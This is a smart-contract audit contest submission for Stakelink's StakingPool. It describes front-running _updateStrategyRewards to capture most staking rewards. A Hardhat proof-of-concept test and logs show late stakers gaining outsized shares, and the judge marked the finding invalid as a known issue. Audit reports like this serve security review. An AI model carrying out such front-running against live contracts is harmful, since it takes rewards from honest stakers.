Liquid Staking

Stakelink
DeFiHardhatOracle
50,000 USDC
View results
Submission Details
Severity: high
Invalid

Rewards can be exploited by frontrunning the _updateStrategyRewards function invocation as there is no lockup period consideration in reward calculation

Summary

when owener or prioritypool invokes the function _updateStrategyRewards in StakingPool contract attacker can frontrun this call and can drain all rewards

Vulnerability Details

_updateStrategyRewards will be called in two function updateStrategy and removeStrategy and this internal call is responsible for distributing the tokens and there is no consideration of lockup period or stake period for reward calculation so attacker can front run this call and he will stake the huge amount into stakingpool and he will get most reward share un reward distribution after this he will unstake the tokens

https://github.com/Cyfrin/2024-09-stakelink/blob/f5824f9ad67058b24a2c08494e51ddd7efdbb90b/contracts/core/StakingPool.sol#L522

it('should be able to update strategy rewards', async () => {
const { accounts, adrs, stakingPool, token, strategy2, erc677Receiver, stake } =
await loadFixture(deployFixture)
await stake(1, 1000)
await stake(2, 1000)
await stake(3, 1000)
await token.transfer(adrs.strategy1, toEther(1100))
await token.transfer(adrs.strategy3, toEther(500))
await strategy2.simulateSlash(toEther(400))
await stake(6, 7000)
await stake(7,2000)
let boa1=Number(await stakingPool.balanceOf(accounts[1]));
let boa2=Number(await stakingPool.balanceOf(accounts[2]));
let boa3=Number(await stakingPool.balanceOf(accounts[3]));
let boa4=Number(await stakingPool.balanceOf(accounts[4]));
let boa5=Number(await stakingPool.balanceOf(adrs.erc677Receiver));
let boa6=Number(await stakingPool.balanceOf(accounts[6]));
let boa7=Number(await stakingPool.balanceOf(accounts[7]));
await stakingPool.updateStrategyRewards([0, 1, 2], '0x')
await console.log('account6',accounts[6]);
await console.log('balanceOf account1', Number(await stakingPool.balanceOf(accounts[1])));
await console.log('added balanceOf account1', Number(await stakingPool.balanceOf(accounts[1]))-boa1);
await console.log('balanceOf account2', Number(await stakingPool.balanceOf(accounts[2])));
await console.log('added balanceOf account2', Number(await stakingPool.balanceOf(accounts[2]))-boa2);
await console.log('balanceOf account3', Number(await stakingPool.balanceOf(accounts[3])));
await console.log('added balanceOf account3', Number(await stakingPool.balanceOf(accounts[3]))-boa3);
await console.log('balanceOf owner',Number(await stakingPool.balanceOf(accounts[4])));
await console.log('added balanceOf owner',Number(await stakingPool.balanceOf(accounts[4]))-boa4);
await console.log('balanceOf erc677Receiver', Number(await stakingPool.balanceOf(adrs.erc677Receiver)));
await console.log('added balanceOf erc677Receiver', Number(await stakingPool.balanceOf(adrs.erc677Receiver))-boa5);
await console.log('totalSupply', Number(await stakingPool.totalSupply()));
await console.log('balanceOf account6',Number(await stakingPool.balanceOf(accounts[6])));
await console.log('added balanceOf account6',Number(await stakingPool.balanceOf(accounts[6]))-boa6);
await console.log('balanceOf account7',Number(await stakingPool.balanceOf(accounts[7])));
await console.log('added balanceOf account7',Number(await stakingPool.balanceOf(accounts[7]))-boa7);
})

logs:
StakingPool
account6 0x65079BB3f085240f1AFCBb3E4188afE93c194b84
balanceOf account1 1.07e+21
added balanceOf account1 70000000000000000000
balanceOf account2 1.07e+21
added balanceOf account2 70000000000000000000
balanceOf account3 1.07e+21
added balanceOf account3 70000000000000000000
balanceOf owner 120000000000000000000
added balanceOf owner 120000000000000000000
balanceOf erc677Receiver 240000000000000000000
added balanceOf erc677Receiver 240000000000000000000
totalSupply 1.32e+22
balanceOf account6 7.49e+21
added balanceOf account6 489999999999999500000
balanceOf account7 2.14e+21
added balanceOf account7 140000000000000000000

here users having accounts1,2,3 each deposited 1000 and when _updateStrategyRewards invoked account6 and 7 they frontrun the function and staked so many tokens and got the most of the reward shares due to this accounts1,2,3 got very lesser. after this attacker will withdraw/unstake all of their tokens.

Impact

  1. Attacker can get most of the reward share just staking before the the call of _updateStragyRewards.

  2. Loss of loyal users as they will get much lesser rewards

Tools Used

Manual Review

Recommendations

Include lockup Period for reward calculations or distribute rewards based on the time period that user has been staked

Updates

Lead Judging Commences

inallhonesty Lead Judge 10 months ago
Submission Judgement Published
Invalidated
Reason: Known issue

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.